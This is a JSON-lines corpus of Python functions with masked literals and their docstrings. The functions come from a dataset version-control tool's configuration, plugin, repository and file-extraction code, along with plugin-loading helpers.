{"signature": "def init(globalvars=None, show=False):", "body": "global config<EOL>profileini = getprofileini()<EOL>if os.path.exists(profileini):<EOL><INDENT>config = configparser.ConfigParser()<EOL>config.read(profileini)<EOL>mgr = plugins_get_mgr()<EOL>mgr.update_configs(config)<EOL>if show:<EOL><INDENT>for source in config:<EOL><INDENT>print(\"<STR_LIT>\" %(source))<EOL>for k in config[source]:<EOL><INDENT>print(\"<STR_LIT>\" % (k, config[source][k]))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>if not show:<EOL><INDENT>update(globalvars)<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Load profile INI", "id": "f8131:m1"}
{"signature": "def update(globalvars):", "body": "global config<EOL>profileini = getprofileini()<EOL>config = configparser.ConfigParser()<EOL>config.read(profileini)<EOL>defaults = {}<EOL>if globalvars is not None:<EOL><INDENT>defaults = {a[<NUM_LIT:0>]: a[<NUM_LIT:1>] for a in globalvars }<EOL><DEDENT>generic_configs = [{<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:description>': \"<STR_LIT>\",<EOL>'<STR_LIT>': ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:value>': defaults.get('<STR_LIT>','<STR_LIT>'),<EOL>'<STR_LIT:description>': \"<STR_LIT>\",<EOL>'<STR_LIT>': EmailValidator()<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:value>': defaults.get('<STR_LIT>','<STR_LIT>'),<EOL>'<STR_LIT:description>': \"<STR_LIT>\",<EOL>'<STR_LIT>': NonEmptyValidator()<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:value>': defaults.get('<STR_LIT>', getpass.getuser()),<EOL>'<STR_LIT:description>': \"<STR_LIT:Name>\",<EOL>'<STR_LIT>': NonEmptyValidator()<EOL>},<EOL>}<EOL>}]<EOL>mgr = plugins_get_mgr()<EOL>extra_configs = mgr.gather_configs()<EOL>allconfigs = generic_configs + extra_configs<EOL>for c in allconfigs:<EOL><INDENT>name = c['<STR_LIT:name>']<EOL>for v in c['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>c['<STR_LIT>'][v]['<STR_LIT:value>'] = config[name][v]<EOL><DEDENT>except:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>for c in allconfigs:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(c['<STR_LIT:description>'])<EOL>print(\"<STR_LIT>\")<EOL>if len(c['<STR_LIT>']) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>name = c['<STR_LIT:name>']<EOL>config[name] = {}<EOL>config[name]['<STR_LIT>'] = c['<STR_LIT>']<EOL>for v in c['<STR_LIT>']:<EOL><INDENT>value = '<STR_LIT>'<EOL>description = v + \"<STR_LIT:U+0020>\"<EOL>helptext = \"<STR_LIT>\"<EOL>validator = None<EOL>if v in c['<STR_LIT>']:<EOL><INDENT>value = c['<STR_LIT>'][v].get('<STR_LIT:value>','<STR_LIT>')<EOL>helptext = c['<STR_LIT>'][v].get(\"<STR_LIT:description>\",\"<STR_LIT>\")<EOL>validator = c['<STR_LIT>'][v].get('<STR_LIT>',None)<EOL><DEDENT>if helptext != \"<STR_LIT>\":<EOL><INDENT>description += \"<STR_LIT:(>\" + helptext + \"<STR_LIT:)>\"<EOL><DEDENT>while True:<EOL><INDENT>choice = input_with_default(description, value)<EOL>if validator is not None:<EOL><INDENT>if validator.is_valid(choice):<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(validator.message))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>config[name][v] = choice<EOL>if v == '<STR_LIT>' and choice == '<STR_LIT:n>': <EOL><INDENT>break <EOL><DEDENT><DEDENT><DEDENT>with open(profileini, '<STR_LIT:w>') as fd:<EOL><INDENT>config.write(fd)<EOL><DEDENT>print(\"<STR_LIT>\", config)<EOL>", "docstring": "Update the profile", "id": "f8131:m3"}
{"signature": "def __init__(self, name, version, description, supported=[]):", "body": "self.enable = '<STR_LIT:y>'<EOL>self.name = name<EOL>self.version = version<EOL>self.description = description<EOL>self.support = supported + [name]<EOL>self.initialize()<EOL>", "docstring": "Parameters:\n-----------\nname: Name of the service e.g., s3\nversion: Version of this implementation\ndescription: Text description of this service\nsupported: supported services with including name\n\nFor example, there may be multiple s3 implementations that\nsupport different kinds of services.", "id": "f8132:c0:m0"}
{"signature": "def initialize(self):", "body": "return<EOL>", "docstring": "Called to initialize sessions, internal objects etc.", "id": "f8132:c0:m1"}
{"signature": "def autooptions(self):", "body": "return None<EOL>", "docstring": "Get default options", "id": "f8132:c0:m2"}
{"signature": "def evaluate(self, repo, spec, force, args):", "body": "return []<EOL>", "docstring": "Execute the generator on the files", "id": "f8132:c0:m3"}
{"signature": "def __init__(self, name, version, description, supported=[]):", "body": "self.enable = '<STR_LIT:y>'<EOL>self.name = name<EOL>self.version = version<EOL>self.description = description<EOL>self.support = supported + [name]<EOL>self.initialize()<EOL>", "docstring": "Parameters:\n-----------\nname: Name of the backend service e.g., s3\nversion: Version of this implementation\ndescription: Text description of this service\nsupported: supported services with including name\n\nFor example, there may be multiple s3 implementations that\nsupport different kinds of services.", "id": "f8133:c0:m0"}
{"signature": "def initialize(self):", "body": "return<EOL>", "docstring": "Called to initialize sessions, internal objects etc.", "id": "f8133:c0:m2"}
{"signature": "def autooptions(self):", "body": "return None<EOL>", "docstring": "Get default options", "id": "f8133:c0:m3"}
{"signature": "def evaluate(self, repo, files, rules):", "body": "return []<EOL>", "docstring": "Evaluate the repo\n\nreturns: A list of dictionaries with:\n   target: relative path of the file\n   rules: rules file used\n   validator: name of the validator\n   status: OK/Success/Error\n   Message: Any additional information", "id": "f8133:c0:m4"}
{"signature": "def find_matching_files(self, includes):", "body": "if len(includes) == <NUM_LIT:0>: <EOL><INDENT>return [] <EOL><DEDENT>files = [f['<STR_LIT>'] for f in self.package['<STR_LIT>']]<EOL>includes = r'<STR_LIT:|>'.join([fnmatch.translate(x) for x in includes])<EOL>files = [f for f in files if re.match(includes, os.path.basename(f))] +[f for f in files if re.match(includes, f)]<EOL>files = list(set(files))<EOL>return files<EOL>", "docstring": "For various actions we need files that match patterns", "id": "f8135:c0:m1"}
{"signature": "def run(self, cmd, *args):", "body": "if self.manager is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if cmd not in dir(self.manager):<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(cmd))<EOL><DEDENT>func = getattr(self.manager, cmd)<EOL>repo = self<EOL>return func(repo, *args)<EOL>", "docstring": "Run a specific command using the manager", "id": "f8135:c0:m7"}
{"signature": "def get_resource(self, p):", "body": "for r in self.package['<STR_LIT>']:<EOL><INDENT>if r['<STR_LIT>'] == p:<EOL><INDENT>r['<STR_LIT>'] = os.path.join(self.rootdir, p)<EOL>return r<EOL><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Get metadata for a given file", "id": "f8135:c0:m8"}
{"signature": "def init(self, username, reponame, force):", "body": "pass<EOL>", "docstring": "Initialize a repo (may be fs/git/.. backed)", "id": "f8135:c1:m7"}
{"signature": "def lookup(self, username=None, reponame=None, key=None):", "body": "if key is None:<EOL><INDENT>key = self.key(username, reponame)<EOL><DEDENT>if key not in self.repos:<EOL><INDENT>raise UnknownRepository()<EOL><DEDENT>return self.repos[key]<EOL>", "docstring": "Lookup all available repos", "id": "f8135:c1:m9"}
{"signature": "def users(self):", "body": "return os.listdir(os.path.join(self.workspace, '<STR_LIT>'))<EOL>", "docstring": "Find users", "id": "f8135:c1:m10"}
{"signature": "def server_rootdir(self,  username, reponame, create=True):", "body": "path = os.path.join(self.workspace,<EOL>'<STR_LIT>',<EOL>username,<EOL>reponame + \"<STR_LIT>\")<EOL>if create:<EOL><INDENT>try:<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return path<EOL>", "docstring": "Working directory for the repo", "id": "f8135:c1:m13"}
{"signature": "def rootdir(self,  username, reponame, create=True):", "body": "path = os.path.join(self.workspace,<EOL>'<STR_LIT>',<EOL>username,<EOL>reponame)<EOL>if create:<EOL><INDENT>try:<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return path<EOL>", "docstring": "Working directory for the repo", "id": "f8135:c1:m14"}
{"signature": "def add(self, repo):", "body": "key = self.key(repo.username, repo.reponame)<EOL>repo.key = key<EOL>self.repos[key] = repo<EOL>return key<EOL>", "docstring": "Add repo to the internal lookup table...", "id": "f8135:c1:m15"}
{"signature": "def drop(self, repo):", "body": "key = repo.key<EOL>del self.repos[key]<EOL>", "docstring": "Drop repository", "id": "f8135:c1:m16"}
{"signature": "def add_files(self, repo, files):", "body": "pass<EOL>", "docstring": "Files is a list with simple dict structure with relativepath and fullpath", "id": "f8135:c1:m24"}
{"signature": "def clone(self, repo, newusername, newreponame):", "body": "pass<EOL>", "docstring": "Clone repo", "id": "f8135:c1:m25"}
{"signature": "def plugins_load():", "body": "global pluginmgr<EOL>if pluginmgr is not None:<EOL><INDENT>plugins_close()<EOL><DEDENT>pluginmgr = PluginManager([])<EOL>", "docstring": "Load plugins from various sources:\n\n- dgit/plugins\n- dgit_extensions package", "id": "f8136:m0"}
{"signature": "def plugins_show(what=None, name=None, version=None, details=False):", "body": "global pluginmgr<EOL>return pluginmgr.show(what, name, version, details)<EOL>", "docstring": "Show details of available plugins\n\nParameters\n----------\nwhat: Class of plugins e.g., backend\nname: Name of the plugin e.g., s3\nversion: Version of the plugin\ndetails: Show details be shown?", "id": "f8136:m2"}
{"signature": "def plugins_get_mgr():", "body": "global pluginmgr<EOL>return pluginmgr<EOL>", "docstring": "Get the global plugin manager", "id": "f8136:m3"}
{"signature": "def discover_all_plugins(self):", "body": "for v in pkg_resources.iter_entry_points('<STR_LIT>'):<EOL><INDENT>m = v.load()<EOL>m.setup(self)<EOL><DEDENT>", "docstring": "Load all plugins from dgit extension", "id": "f8136:c0:m1"}
{"signature": "def register(self, what, obj):", "body": "<EOL>name = obj.name<EOL>version = obj.version<EOL>enable = obj.enable<EOL>if enable == '<STR_LIT:n>':<EOL><INDENT>return<EOL><DEDENT>key = Key(name, version)<EOL>self.plugins[what][key] = obj<EOL>", "docstring": "Registering a plugin\n\nParams\n------\nwhat: Nature of the plugin (backend, instrumentation, repo)\nobj: Instance of the plugin", "id": "f8136:c0:m2"}
{"signature": "def search(self, what, name=None, version=None):", "body": "filtered = {}<EOL>if what is None:<EOL><INDENT>whats = list(self.plugins.keys())<EOL><DEDENT>elif what is not None:<EOL><INDENT>if what not in self.plugins:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>whats = [what]<EOL><DEDENT>for what in whats:<EOL><INDENT>if what not in filtered:<EOL><INDENT>filtered[what] = []<EOL><DEDENT>for key in self.plugins[what].keys():<EOL><INDENT>(k_name, k_version) = key<EOL>if name is not None and k_name != name:<EOL><INDENT>continue<EOL><DEDENT>if version is not None and k_version != version:<EOL><INDENT>continue<EOL><DEDENT>if self.plugins[what][key].enable == '<STR_LIT:n>':<EOL><INDENT>continue<EOL><DEDENT>filtered[what].append(key)<EOL><DEDENT><DEDENT>return filtered<EOL>", "docstring": "Search for a plugin", "id": "f8136:c0:m3"}
{"signature": "def gather_configs(self):", "body": "configs = []<EOL>for what in self.order:<EOL><INDENT>for key in self.plugins[what]:<EOL><INDENT>mgr = self.plugins[what][key]<EOL>c = mgr.config(what='<STR_LIT>')<EOL>if c is not None:<EOL><INDENT>c.update({<EOL>'<STR_LIT:description>': mgr.description<EOL>})<EOL>configs.append(c)<EOL><DEDENT><DEDENT><DEDENT>return configs<EOL>", "docstring": "Gather configuration requirements of all plugins", "id": "f8136:c0:m4"}
{"signature": "def update_configs(self, config):", "body": "for what in self.plugins:  <EOL><INDENT>for key in self.plugins[what]: <EOL><INDENT>self.plugins[what][key].config(what='<STR_LIT>', params=config)<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Gather configuration requirements of all plugins", "id": "f8136:c0:m5"}
{"signature": "def __init__(self, name, version, description, supported=[]):", "body": "self.enable = '<STR_LIT:y>'<EOL>self.name = name<EOL>self.version = version<EOL>self.description = description<EOL>self.support = supported + [name]<EOL>self.initialize()<EOL>", "docstring": "Parameters:\n-----------\nname: Name of the backend service e.g., s3\nversion: Version of this implementation\ndescription: Text description of this service\nsupported: supported services with including name\n\nFor example, there may be multiple s3 implementations that\nsupport different kinds of services.", "id": "f8139:c0:m0"}
{"signature": "def initialize(self):", "body": "return<EOL>", "docstring": "Called to initialize sessions, internal objects etc.", "id": "f8139:c0:m2"}
{"signature": "def post(self, repo):", "body": "pass<EOL>", "docstring": "Post to server", "id": "f8139:c0:m3"}
{"signature": "def __init__(self, name, version, description, supported=[]):", "body": "self.enable = '<STR_LIT:y>'<EOL>self.name = name<EOL>self.version = version<EOL>self.description = description<EOL>self.support = supported + [name]<EOL>self.initialize()<EOL>", "docstring": "Parameters:\n-----------\nname: Name of the backend service e.g., s3\nversion: Version of this implementation\ndescription: Text description of this service\nsupported: supported services with including name\n\nFor example, there may be multiple s3 implementations that\nsupport different kinds of services.", "id": "f8140:c0:m0"}
{"signature": "def initialize(self):", "body": "return<EOL>", "docstring": "Called to initialize sessions, internal objects etc.", "id": "f8140:c0:m2"}
{"signature": "def clone_repo(self, url, gitdir):", "body": "return<EOL>", "docstring": "Clone a repo at specified URL", "id": "f8140:c0:m3"}
{"signature": "def supported(self, url):", "body": "return False<EOL>", "docstring": "Check if a URL is supported by repo", "id": "f8140:c0:m4"}
{"signature": "def url_is_valid(self, url):", "body": "return<EOL>", "docstring": "Check if a URL exists", "id": "f8140:c0:m5"}
{"signature": "def push(self, state, name):", "body": "return<EOL>", "docstring": "Push a data version to the server\n\nParameters\n----------\n\nstate: Overall state object that has dataset details\nname: name of the dataset", "id": "f8140:c0:m6"}
{"signature": "def merge(a, b, path=None):", "body": "if path is None: path = []<EOL>for key in b:<EOL><INDENT>if key in a:<EOL><INDENT>if isinstance(a[key], dict) andisinstance(b[key], dict):<EOL><INDENT>merge(a[key], b[key], path + [str(key)])<EOL><DEDENT>if isinstance(a[key], list) andisinstance(b[key], list):<EOL><INDENT>a[key].extend(b[key])<EOL><DEDENT>elif a[key] == b[key]:<EOL><INDENT>pass <EOL><DEDENT>elif type(a[key]) == type(b[key]):<EOL><INDENT>a[key] = b[key]<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' % '<STR_LIT:.>'.join(path + [str(key)]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>a[key] = b[key]<EOL><DEDENT><DEDENT>return a<EOL>", "docstring": "merges b into a", "id": "f8141:m0"}
{"signature": "def compute_sha256(filename):", "body": "try:<EOL><INDENT>h = sha256()<EOL>fd = open(filename, '<STR_LIT:rb>')<EOL>while True:<EOL><INDENT>buf = fd.read(<NUM_LIT>)<EOL>if buf in [None, \"<STR_LIT>\"]:<EOL><INDENT>break<EOL><DEDENT>h.update(buf.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>fd.close()<EOL>return h.hexdigest()<EOL><DEDENT>except:<EOL><INDENT>output = run([\"<STR_LIT>\", \"<STR_LIT>\", filename])<EOL>return output.split(\"<STR_LIT:U+0020>\")[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Try the library. If it doesnt work, use the command line..", "id": "f8141:m6"}
{"signature": "def run(cmd):", "body": "cmd = [pipes.quote(c) for c in cmd]<EOL>cmd = \"<STR_LIT:U+0020>\".join(cmd)<EOL>cmd += \"<STR_LIT>\"<EOL>try:<EOL><INDENT>output = subprocess.check_output(cmd,<EOL>stderr=subprocess.STDOUT,<EOL>shell=True)<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>output = e.output<EOL><DEDENT>output = output.decode('<STR_LIT:utf-8>')<EOL>output = output.strip()<EOL>return output<EOL>", "docstring": "Run a shell command", "id": "f8141:m7"}
{"signature": "def slugify(value):", "body": "value = unicodedata.normalize('<STR_LIT>', value)<EOL>value = value.encode('<STR_LIT:ascii>', '<STR_LIT:ignore>')<EOL>value = value.decode('<STR_LIT:utf-8>')<EOL>value = re.sub(r'<STR_LIT>', '<STR_LIT:->', value).strip().lower()<EOL>return re.sub(r'<STR_LIT>', '<STR_LIT:->', value)<EOL>", "docstring": "Normalizes string, converts to lowercase, removes non-alpha characters,\nand converts spaces to hyphens.", "id": "f8141:m8"}
{"signature": "def log_repo_action(func):", "body": "def _inner(*args, **kwargs):<EOL><INDENT>result = func(*args, **kwargs)         <EOL>log_action(func, result, *args, **kwargs)<EOL>return result <EOL><DEDENT>_inner.__name__ = func.__name__<EOL>_inner.__doc__ = func.__doc__<EOL>return _inner<EOL>", "docstring": "Log all repo actions to .dgit/log.json", "id": "f8141:m10"}
{"signature": "def get_plugin_source(module=None, stacklevel=None):", "body": "if module is None:<EOL><INDENT>frm = sys._getframe((stacklevel or <NUM_LIT:0>) + <NUM_LIT:1>)<EOL>name = frm.f_globals['<STR_LIT>']<EOL>glob = frm.f_globals<EOL><DEDENT>elif isinstance(module, string_types):<EOL><INDENT>frm = sys._getframe(<NUM_LIT:1>)<EOL>name = module<EOL>glob = __import__(module, frm.f_globals,<EOL>frm.f_locals, ['<STR_LIT>']).__dict__<EOL><DEDENT>else:<EOL><INDENT>name = module.__name__<EOL>glob = module.__dict__<EOL><DEDENT>return _discover_space(name, glob)<EOL>", "docstring": "Returns the :class:`PluginSource` for the current module or the given\n    module.  The module can be provided by name (in which case an import\n    will be attempted) or as a module object.\n\n    If no plugin source can be discovered, the return value from this method\n    is `None`.\n\n    This function can be very useful if additional data has been attached\n    to the plugin source.  For instance this could allow plugins to get\n    access to a back reference to the application that created them.\n\n    :param module: optionally the module to locate the plugin source of.\n    :param stacklevel: defines how many levels up the module should search\n                       for before it discovers the plugin frame.  The\n                       default is 0.  This can be useful for writing wrappers\n                       around this function.", "id": "f8142:m0"}
{"signature": "def make_plugin_source(self, *args, **kwargs):", "body": "return PluginSource(self, *args, **kwargs)<EOL>", "docstring": "Creats a plugin source for this plugin base and returns it.\n        All parameters are forwarded to :class:`PluginSource`.", "id": "f8142:c2:m1"}
{"signature": "def list_plugins(self):", "body": "rv = []<EOL>for _, modname, ispkg in pkgutil.iter_modules(self.mod.__path__):<EOL><INDENT>rv.append(modname)<EOL><DEDENT>return sorted(rv)<EOL>", "docstring": "Returns a sorted list of all plugins that are available in this\n        plugin source.  This can be useful to automatically discover plugins\n        that are available and is usually used together with\n        :meth:`load_plugin`.", "id": "f8142:c3:m2"}
{"signature": "def load_plugin(self, name):", "body": "if '<STR_LIT:.>' in name:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>with self:<EOL><INDENT>return __import__(self.base.package + '<STR_LIT:.>' + name,<EOL>globals(), {}, ['<STR_LIT>'])<EOL><DEDENT>", "docstring": "This automatically loads a plugin by the given name from the\n        current source and returns the module.  This is a convenient\n        alternative to the import statement and saves you from invoking\n        ``__import__`` or a similar function yourself.\n\n        :param name: the name of the plugin to load.", "id": "f8142:c3:m3"}
{"signature": "def open_resource(self, plugin, filename):", "body": "mod = self.load_plugin(plugin)<EOL>fn = getattr(mod, '<STR_LIT>', None)<EOL>if fn is not None:<EOL><INDENT>if fn.endswith(('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>fn = fn[:-<NUM_LIT:1>]<EOL><DEDENT>if os.path.isfile(fn):<EOL><INDENT>return open(os.path.join(os.path.dirname(fn), filename), '<STR_LIT:rb>')<EOL><DEDENT><DEDENT>buf = pkgutil.get_data(self.mod.__name__ + '<STR_LIT:.>' + plugin, filename)<EOL>if buf is None:<EOL><INDENT>raise IOError(errno.ENOEXITS, '<STR_LIT>')<EOL><DEDENT>return NativeBytesIO(buf)<EOL>", "docstring": "This function locates a resource inside the plugin and returns\n        a byte stream to the contents of it.  If the resource cannot be\n        loaded an :exc:`IOError` will be raised.  Only plugins that are\n        real Python packages can contain resources.  Plain old Python\n        modules do not allow this for obvious reasons.\n\n        .. versionadded:: 0.3\n\n        :param plugin: the name of the plugin to open the resource of.\n        :param filename: the name of the file within the plugin to open.", "id": "f8142:c3:m4"}
{"signature": "def cleanup(self):", "body": "self.__cleanup()<EOL>", "docstring": "Cleans up all loaded plugins manually.  This is necessary to\n        call only if :attr:`persist` is enabled.  Otherwise this happens\n        automatically when the source gets garbage collected.", "id": "f8142:c3:m5"}
{"signature": "def enable(self):", "body": "self.enabled = True<EOL>", "docstring": "Enables the import hook which drives the plugin base system.\n        This is the default.", "id": "f8142:c5:m1"}
{"signature": "def disable(self):", "body": "self.enabled = False<EOL>", "docstring": "Disables the import hook and restores the default import system\n        behavior.  This effectively breaks pluginbase but can be useful\n        for testing purposes.", "id": "f8142:c5:m2"}
{"signature": "def instantiate(repo, name=None, filename=None):", "body": "default_transformers = repo.options.get('<STR_LIT>', {})<EOL>transformers = {}<EOL>if name is not None:<EOL><INDENT>if name in default_transformers:<EOL><INDENT>transformers = {<EOL>name : default_transformers[name]<EOL>}<EOL><DEDENT>else:<EOL><INDENT>transformers = {<EOL>name : {<EOL>'<STR_LIT>': [],<EOL>}<EOL>}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>transformers = default_transformers<EOL><DEDENT>input_matching_files = None<EOL>if filename is not None:<EOL><INDENT>input_matching_files = repo.find_matching_files([filename])<EOL><DEDENT>for t in transformers:<EOL><INDENT>for k in transformers[t]:<EOL><INDENT>if \"<STR_LIT>\" not in k:<EOL><INDENT>continue<EOL><DEDENT>if k == \"<STR_LIT>\" and input_matching_files is not None:<EOL><INDENT>transformers[t][k] = input_matching_files<EOL><DEDENT>else:<EOL><INDENT>if transformers[t][k] is None or len(transformers[t][k]) == <NUM_LIT:0>:<EOL><INDENT>transformers[t][k] = []<EOL><DEDENT>else:<EOL><INDENT>matching_files = repo.find_matching_files(transformers[t][k])<EOL>transformers[t][k] = matching_files<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return transformers<EOL>", "docstring": "Instantiate the generator and filename specification", "id": "f8144:m0"}
{"signature": "def transform(repo,<EOL>name=None,<EOL>filename=None,<EOL>force=False,<EOL>args=[]):", "body": "mgr = plugins_get_mgr()<EOL>specs = instantiate(repo, name, filename)<EOL>allresults = []<EOL>for s in specs:<EOL><INDENT>keys = mgr.search(what='<STR_LIT>',name=s)['<STR_LIT>']<EOL>for k in keys:<EOL><INDENT>t = mgr.get_by_key('<STR_LIT>', k)<EOL>result = t.evaluate(repo,<EOL>specs[s],<EOL>force,<EOL>args)<EOL>allresults.extend(result)<EOL><DEDENT><DEDENT>return allresults<EOL>", "docstring": "Materialize queries/other content within the repo.\n\nParameters\n----------\n\nrepo: Repository object\nname: Name of transformer, if any. If none, then all transformers specified in dgit.json will be included.\nfilename: Pattern that specifies files that must be processed by the generators selected. If none, then the default specification in dgit.json is used.", "id": "f8144:m1"}
{"signature": "def add_file_normal(f, targetdir, generator,script, source):", "body": "basename = os.path.basename(f)<EOL>if targetdir != \"<STR_LIT:.>\":<EOL><INDENT>relativepath = os.path.join(targetdir, basename)<EOL><DEDENT>else:<EOL><INDENT>relativepath = basename<EOL><DEDENT>relpath = os.path.relpath(f, os.getcwd())<EOL>filetype = '<STR_LIT:data>'<EOL>if script:<EOL><INDENT>filetype = '<STR_LIT>'<EOL>if generator:<EOL><INDENT>filetype = '<STR_LIT>'<EOL><DEDENT><DEDENT>update = OrderedDict([<EOL>('<STR_LIT:type>', filetype),<EOL>('<STR_LIT>', generator),<EOL>('<STR_LIT>', relativepath),<EOL>('<STR_LIT:content>', \"<STR_LIT>\"),<EOL>('<STR_LIT:source>', source),<EOL>('<STR_LIT>', f),<EOL>('<STR_LIT>', relpath)<EOL>])<EOL>update = annotate_record(update)<EOL>return (basename, update)<EOL>", "docstring": "Add a normal file including its source", "id": "f8145:m2"}
{"signature": "def extract_files(filename, includes):", "body": "<EOL>lines = open(filename).readlines()<EOL>files = {}<EOL>lines = [l.strip() for l in lines if '<STR_LIT>' in l]<EOL>for l in lines:<EOL><INDENT>matchedfile = re.search('<STR_LIT>', l)<EOL>if matchedfile is None:<EOL><INDENT>matchedfile = re.search('<STR_LIT>', l)<EOL><DEDENT>if matchedfile is None:<EOL><INDENT>continue<EOL><DEDENT>matchedfile = matchedfile.group(<NUM_LIT:1>)<EOL>if os.path.exists(matchedfile) and os.path.isfile(matchedfile):<EOL><INDENT>action = '<STR_LIT:input>' if '<STR_LIT>' in l else '<STR_LIT>'<EOL>matchedfile = os.path.relpath(matchedfile, \"<STR_LIT:.>\")<EOL>for i in includes:<EOL><INDENT>if fnmatch.fnmatch(matchedfile, i):<EOL><INDENT>if '<STR_LIT>' in matchedfile:<EOL><INDENT>continue<EOL><DEDENT>if matchedfile not in files:<EOL><INDENT>files[matchedfile] = [action]<EOL><DEDENT>else:<EOL><INDENT>if action not in files[matchedfile]:<EOL><INDENT>files[matchedfile].append(action)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if len(files) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return []<EOL><DEDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>filenames = list(files.keys())<EOL>filenames.sort()<EOL>with tempfile.NamedTemporaryFile(suffix=\"<STR_LIT>\") as temp:<EOL><INDENT>temp.write(yaml.dump(filenames, default_flow_style=False).encode('<STR_LIT:utf-8>'))<EOL>temp.flush()<EOL>EDITOR = os.environ.get('<STR_LIT>','<STR_LIT>')<EOL>subprocess.call(\"<STR_LIT>\" %(EDITOR,temp.name), shell=True)<EOL>temp.seek(<NUM_LIT:0>)<EOL>data = temp.read()<EOL>selected = yaml.load(data)<EOL><DEDENT>print(\"<STR_LIT>\", len(selected), \"<STR_LIT>\")<EOL>if len(selected) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>filenames = [f for f in filenames if f in selected]<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>input('<STR_LIT>')<EOL>prefixes = {}<EOL>for f in filenames:<EOL><INDENT>dirname = os.path.dirname(f)<EOL>if dirname == \"<STR_LIT>\":<EOL><INDENT>dirname = \"<STR_LIT:.>\"<EOL><DEDENT>prefixes[dirname] = dirname<EOL><DEDENT>while True:<EOL><INDENT>with tempfile.NamedTemporaryFile(suffix=\"<STR_LIT>\") as temp:<EOL><INDENT>temp.write(yaml.dump(prefixes, default_flow_style=False).encode('<STR_LIT:utf-8>'))<EOL>temp.flush()<EOL>EDITOR = os.environ.get('<STR_LIT>','<STR_LIT>')<EOL>subprocess.call(\"<STR_LIT>\" %(EDITOR,temp.name), shell=True)<EOL>temp.seek(<NUM_LIT:0>)<EOL>data = temp.read()<EOL>try:<EOL><INDENT>revised = yaml.load(data)<EOL><DEDENT>except Exception as e:<EOL><INDENT>revised = {}<EOL><DEDENT>if set(list(revised.keys())) == set(list(prefixes.keys())):<EOL><INDENT>prefixes = revised<EOL>break<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>input(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if \"<STR_LIT:.>\" in prefixes:<EOL><INDENT>prefixes[\"<STR_LIT>\"] = prefixes[\"<STR_LIT:.>\"]<EOL><DEDENT>result = []<EOL>ts = datetime.now().isoformat()<EOL>for f in filenames:<EOL><INDENT>relativepath = prefixes[os.path.dirname(f)]<EOL>if relativepath == \"<STR_LIT:.>\":<EOL><INDENT>relativepath = os.path.basename(f)<EOL><DEDENT>else:<EOL><INDENT>relativepath = os.path.join(relativepath, os.path.basename(f))<EOL><DEDENT>result.append(OrderedDict([<EOL>('<STR_LIT>', relativepath),<EOL>('<STR_LIT:type>', '<STR_LIT>'),<EOL>('<STR_LIT>', files[f]),<EOL>('<STR_LIT>', mimetypes.guess_type(f)[<NUM_LIT:0>]),<EOL>('<STR_LIT:content>', open(f).read(<NUM_LIT>)),<EOL>('<STR_LIT>', compute_sha256(f)),<EOL>('<STR_LIT>', ts),<EOL>('<STR_LIT>', os.path.relpath(f, \"<STR_LIT:.>\")),<EOL>('<STR_LIT>', os.path.abspath(f)),<EOL>]))<EOL><DEDENT>print(json.dumps(result, indent=<NUM_LIT:4>))<EOL>return result<EOL>", "docstring": "Extract the files to be added based on the includes", "id": "f8145:m4"}
